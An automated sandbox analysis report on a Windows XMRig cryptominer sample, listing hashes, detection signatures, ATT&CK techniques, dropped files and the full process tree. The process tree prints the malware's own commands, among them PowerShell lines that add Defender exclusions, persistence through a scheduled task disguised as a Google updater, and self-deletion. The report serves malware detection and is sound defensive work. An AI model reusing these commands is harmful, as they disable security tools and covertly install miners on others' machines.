xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
398s
max time network
1807s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
23/01/2024, 19:27

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General

Target
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Size 2.0MB
Sample240123-x59d7agbd6
SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
MD5 a16a669a09bf158058b83e04e69fe38e
SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 2120 created 1260	2120	6vHkJ4UErTSS5ECD.exe	14
PID 2120 created 1260	2120	6vHkJ4UErTSS5ECD.exe	14
PID 2120 created 1260	2120	6vHkJ4UErTSS5ECD.exe	14
PID 2120 created 1260	2120	6vHkJ4UErTSS5ECD.exe	14
PID 2868 created 1260	2868	updater.exe	14
PID 2868 created 1260	2868	updater.exe	14
PID 2868 created 1260	2868	updater.exe	14
PID 2868 created 1260	2868	updater.exe	14
PID 1856 created 1260	1856	conhost.exe	14
PID 2868 created 1260	2868	updater.exe	14

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral5/memory/2952-71-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2952-73-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2952-75-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2952-76-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2952-80-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2952-82-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2952-84-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2952-86-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2952-88-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2952-90-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2952-92-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2952-94-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2952-96-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2952-103-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2952-105-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2952-107-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2952-109-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2952-111-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2952-113-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2952-120-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2952-122-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2952-124-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2952-126-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2952-133-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2952-135-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2952-137-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2952-139-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2952-141-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2952-143-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral5/memory/2952-145-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2576	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2868	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
2632	taskeng.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral5/memory/2952-66-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2952-71-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2952-73-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2952-75-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2952-76-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2952-80-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2952-82-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2952-84-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2952-86-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2952-88-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2952-90-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2952-92-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2952-94-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2952-96-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2952-103-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2952-105-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2952-107-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2952-109-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2952-111-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2952-113-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2952-120-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2952-122-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2952-124-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2952-126-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2952-133-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2952-135-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2952-137-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2952-139-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2952-141-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2952-143-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral5/memory/2952-145-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2868 set thread context of 1856	2868	updater.exe	53
PID 2868 set thread context of 2952	2868	updater.exe	55

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	6vHkJ4UErTSS5ECD.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2608	schtasks.exe
2548	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
608	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = f0d1853c3c4fda01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
2120	6vHkJ4UErTSS5ECD.exe
2120	6vHkJ4UErTSS5ECD.exe
1092	powershell.exe
2120	6vHkJ4UErTSS5ECD.exe
2120	6vHkJ4UErTSS5ECD.exe
2440	powershell.exe
2120	6vHkJ4UErTSS5ECD.exe
2120	6vHkJ4UErTSS5ECD.exe
2120	6vHkJ4UErTSS5ECD.exe
2120	6vHkJ4UErTSS5ECD.exe
2556	powershell.exe
2868	updater.exe
2868	updater.exe
1808	powershell.exe
2868	updater.exe
2868	updater.exe
544	powershell.exe
2868	updater.exe
2868	updater.exe
2868	updater.exe
2868	updater.exe
1856	conhost.exe
1856	conhost.exe
2868	updater.exe
2868	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
464	Process not Found

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	1092	powershell.exe
Token: SeDebugPrivilege	2440	powershell.exe
Token: SeDebugPrivilege	2556	powershell.exe
Token: SeDebugPrivilege	1808	powershell.exe
Token: SeDebugPrivilege	544	powershell.exe
Token: SeDebugPrivilege	2868	updater.exe
Token: SeAssignPrimaryTokenPrivilege	608	WMIC.exe
Token: SeIncreaseQuotaPrivilege	608	WMIC.exe
Token: SeSecurityPrivilege	608	WMIC.exe
Token: SeTakeOwnershipPrivilege	608	WMIC.exe
Token: SeLoadDriverPrivilege	608	WMIC.exe
Token: SeSystemtimePrivilege	608	WMIC.exe
Token: SeBackupPrivilege	608	WMIC.exe
Token: SeRestorePrivilege	608	WMIC.exe
Token: SeShutdownPrivilege	608	WMIC.exe
Token: SeSystemEnvironmentPrivilege	608	WMIC.exe
Token: SeUndockPrivilege	608	WMIC.exe
Token: SeManageVolumePrivilege	608	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	608	WMIC.exe
Token: SeIncreaseQuotaPrivilege	608	WMIC.exe
Token: SeSecurityPrivilege	608	WMIC.exe
Token: SeTakeOwnershipPrivilege	608	WMIC.exe
Token: SeLoadDriverPrivilege	608	WMIC.exe
Token: SeSystemtimePrivilege	608	WMIC.exe
Token: SeBackupPrivilege	608	WMIC.exe
Token: SeRestorePrivilege	608	WMIC.exe
Token: SeShutdownPrivilege	608	WMIC.exe
Token: SeSystemEnvironmentPrivilege	608	WMIC.exe
Token: SeUndockPrivilege	608	WMIC.exe
Token: SeManageVolumePrivilege	608	WMIC.exe
Token: SeLockMemoryPrivilege	2952	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2440 wrote to memory of 2608	2440	powershell.exe	32
PID 2440 wrote to memory of 2608	2440	powershell.exe	32
PID 2440 wrote to memory of 2608	2440	powershell.exe	32
PID 2576 wrote to memory of 2732	2576	cmd.exe	37
PID 2576 wrote to memory of 2732	2576	cmd.exe	37
PID 2576 wrote to memory of 2732	2576	cmd.exe	37
PID 2556 wrote to memory of 1072	2556	powershell.exe	38
PID 2556 wrote to memory of 1072	2556	powershell.exe	38
PID 2556 wrote to memory of 1072	2556	powershell.exe	38
PID 2632 wrote to memory of 2868	2632	taskeng.exe	40
PID 2632 wrote to memory of 2868	2632	taskeng.exe	40
PID 2632 wrote to memory of 2868	2632	taskeng.exe	40
PID 544 wrote to memory of 2548	544	powershell.exe	47
PID 544 wrote to memory of 2548	544	powershell.exe	47
PID 544 wrote to memory of 2548	544	powershell.exe	47
PID 2868 wrote to memory of 1856	2868	updater.exe	53
PID 1180 wrote to memory of 608	1180	cmd.exe	49
PID 1180 wrote to memory of 608	1180	cmd.exe	49
PID 1180 wrote to memory of 608	1180	cmd.exe	49
PID 2868 wrote to memory of 2952	2868	updater.exe	55

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1260
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6vHkJ4UErTSS5ECD.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6vHkJ4UErTSS5ECD.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2120
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1092
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2440
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2608
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6vHkJ4UErTSS5ECD.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2576
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:2732
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2556
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:1072
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1808
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:544
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2548
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:1392
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:1180
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:1856
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2952

C:\Windows\system32\taskeng.exe
taskeng.exe {EBDDCD01-E81C-4C84-BBC9-C2B8195F0286} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2632
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2868

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:608

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 924KB
SHA256 5dd8651082176664de9d41d961593a7910db215d7d38aa757347a99b7ead6dc7
MD5 afcb6578bc4ee017547f063b20de6f92
SHA1 9553babf810afecdb5586e52832bcaa5bf9780ac
SHA512 91445a1d5ce22a8940373b354567bbe2348ecf750f453b8f53047abeece3b059529307768e32420a344d410b13440e8cae4b7e080181d2d1f0b969947e78d1fe
SSDEEP 24576:rWVipGdVZjdqVC5jd88FC3bc+uxWV+i+JJi732RuzDhb6Kd5FI:rWVipAxqo5p88CbXuxWQiSJU320ZO
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 1.1MB
SHA256 797586a3390696808835f7a8d41799933ca6bdfbe9e35a8eb8d99468999ea5bf
MD5 07b949ff5b378ea1e882a74b71ae41c7
SHA1 ce09580ca8abbfd1fe9df12916157225055c9b46
SHA512 a8d0ff5ce345be256abd9a225a25776165945cc3670b70cdbc55f146a41ad3ba6313a679d1889c5ce893c3a8976562b0db0b4fda9fa2ca76ff939547dd8cd3a6
SSDEEP 24576:rWVipGdVZjdqVC5jd88FC3bc+uxWV+i+JJi732RuzDhb6Kd5Fe12urmvDavvp:rWVipAxqo5p88CbXuxWQiSJU320ZW21+
MD5 SHA1 SHA512 SSDEEP

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g.log

Path C:\Program Files\Google\Libs\g.log
Size 198B
SHA256 8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
MD5 37dd19b2be4fa7635ad6a2f3238c4af1
SHA1 e5b2c034636b434faee84e82e3bce3a3d3561943
SHA512 86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
MD5 SHA1 SHA512

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590aee7bdd69b59b.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Size 7KB
SHA256 45754cb8f9c56772b2a72072ad3dbdae6c01167503ac7fa47f360c9126877244
MD5 584be6322dd92ad0bd02190cca0577f1
SHA1 757db1a4d29530152f2f2b6e098e521988d873e6
SHA512 7d67e4479e1892d02699f765febcc7c8f2b35399d8b1dd93987c3c8b80f0a7c71c067eb96d8f8130d6a25b49983b0d661f29a6f846d851df2fd67e0c163391ca
SSDEEP 96:YFTOCZM8mnqvsqvJCwoiFTOCZM8mnqvsEHyqvJCworWkq2QHvL7jZXlUV5:UTHKUoSTHKAHnorWMWL7jZW
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path \Program Files\Google\Chrome\updater.exe
Size 800KB
SHA256 fd2c7e7e0bc305dcc096439533f99df4a591ea71e4fa119583d6d3d05f62a2a9
MD5 4dee1bde061902c1617b9c6e7f253cd3
SHA1 56ca5ca7c412fffb5b29a02067fd481a2e751c78
SHA512 8d522b9d7781be15a14c526015ccd33b3378a720909460388c77a42ab5856c195b7d0315bd9ef3f75ef10c14ddf8d214849d96b15fae7cd73cfa6a70c150c125
SSDEEP 24576:rWVipGdVZjdqVC5jd88FC3bc+uxWV+i+JJi732Ruza:rWVipAxqo5p88CbXuxWQiSJU32V
MD5 SHA1 SHA512 SSDEEP

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memory/544-57-0x00000000010E0000-0x0000000001160000-memory.dmp

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memory/544-52-0x000007FEF5D30000-0x000007FEF66CD000-memory.dmp

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memory/544-58-0x000007FEF5D30000-0x000007FEF66CD000-memory.dmp

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memory/544-54-0x000007FEF5D30000-0x000007FEF66CD000-memory.dmp

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memory/544-56-0x00000000010E0000-0x0000000001160000-memory.dmp

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memory/544-53-0x00000000010E0000-0x0000000001160000-memory.dmp

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memory/544-55-0x00000000010E0000-0x0000000001160000-memory.dmp

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memory/1092-5-0x000000001B220000-0x000000001B502000-memory.dmp

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memory/1092-12-0x0000000002670000-0x00000000026F0000-memory.dmp

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memory/1092-11-0x000007FEF5D30000-0x000007FEF66CD000-memory.dmp

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memory/1092-7-0x000007FEF5D30000-0x000007FEF66CD000-memory.dmp

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memory/1092-9-0x0000000002670000-0x00000000026F0000-memory.dmp

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memory/1092-8-0x0000000002670000-0x00000000026F0000-memory.dmp

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memory/1092-6-0x0000000001D90000-0x0000000001D98000-memory.dmp

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memory/1092-10-0x0000000002670000-0x00000000026F0000-memory.dmp

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memory/1092-13-0x000007FEF5D30000-0x000007FEF66CD000-memory.dmp

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memory/1808-49-0x0000000000F50000-0x0000000000FD0000-memory.dmp

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memory/1808-46-0x000007FEF5390000-0x000007FEF5D2D000-memory.dmp

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memory/1808-47-0x0000000000F50000-0x0000000000FD0000-memory.dmp

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memory/1808-48-0x000007FEF5390000-0x000007FEF5D2D000-memory.dmp

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memory/1808-50-0x0000000000F50000-0x0000000000FD0000-memory.dmp

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memory/1808-51-0x000007FEF5390000-0x000007FEF5D2D000-memory.dmp

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memory/1856-74-0x0000000140000000-0x0000000140016000-memory.dmp

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memory/1856-70-0x0000000140000000-0x0000000140016000-memory.dmp

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memory/2120-0-0x000000013F1E0000-0x000000013F3F1000-memory.dmp

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memory/2120-29-0x000000013F1E0000-0x000000013F3F1000-memory.dmp

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memory/2440-27-0x000007FEF5390000-0x000007FEF5D2D000-memory.dmp

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memory/2440-26-0x0000000002320000-0x00000000023A0000-memory.dmp

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memory/2440-25-0x0000000002320000-0x00000000023A0000-memory.dmp

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memory/2440-24-0x0000000002320000-0x00000000023A0000-memory.dmp

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memory/2440-22-0x0000000002320000-0x00000000023A0000-memory.dmp

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memory/2440-23-0x000007FEF5390000-0x000007FEF5D2D000-memory.dmp

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memory/2440-20-0x000007FEF5390000-0x000007FEF5D2D000-memory.dmp

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memory/2440-21-0x0000000001F80000-0x0000000001F88000-memory.dmp

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memory/2440-19-0x000000001B0E0000-0x000000001B3C2000-memory.dmp

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memory/2556-35-0x000007FEF5D30000-0x000007FEF66CD000-memory.dmp

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memory/2556-37-0x000007FEF5D30000-0x000007FEF66CD000-memory.dmp

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memory/2556-41-0x000007FEF5D30000-0x000007FEF66CD000-memory.dmp

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memory/2556-40-0x0000000002870000-0x00000000028F0000-memory.dmp

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memory/2556-39-0x0000000002870000-0x00000000028F0000-memory.dmp

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memory/2556-38-0x0000000002870000-0x00000000028F0000-memory.dmp

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memory/2556-36-0x0000000002870000-0x00000000028F0000-memory.dmp

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memory/2868-45-0x000000013F0F0000-0x000000013F301000-memory.dmp

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memory/2868-65-0x000000013F0F0000-0x000000013F301000-memory.dmp

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memory/2952-88-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2952-94-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2952-68-0x00000000001F0000-0x0000000000210000-memory.dmp

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memory/2952-71-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2952-73-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2952-67-0x00000000000B0000-0x00000000000D0000-memory.dmp

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memory/2952-75-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2952-76-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2952-77-0x00000000001F0000-0x0000000000210000-memory.dmp

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memory/2952-78-0x0000000000880000-0x00000000008A0000-memory.dmp

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memory/2952-80-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2952-82-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2952-84-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2952-86-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2952-66-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2952-90-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2952-92-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2952-69-0x0000000000880000-0x00000000008A0000-memory.dmp

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memory/2952-96-0x0000000140000000-0x00000001407F4000-memory.dmp

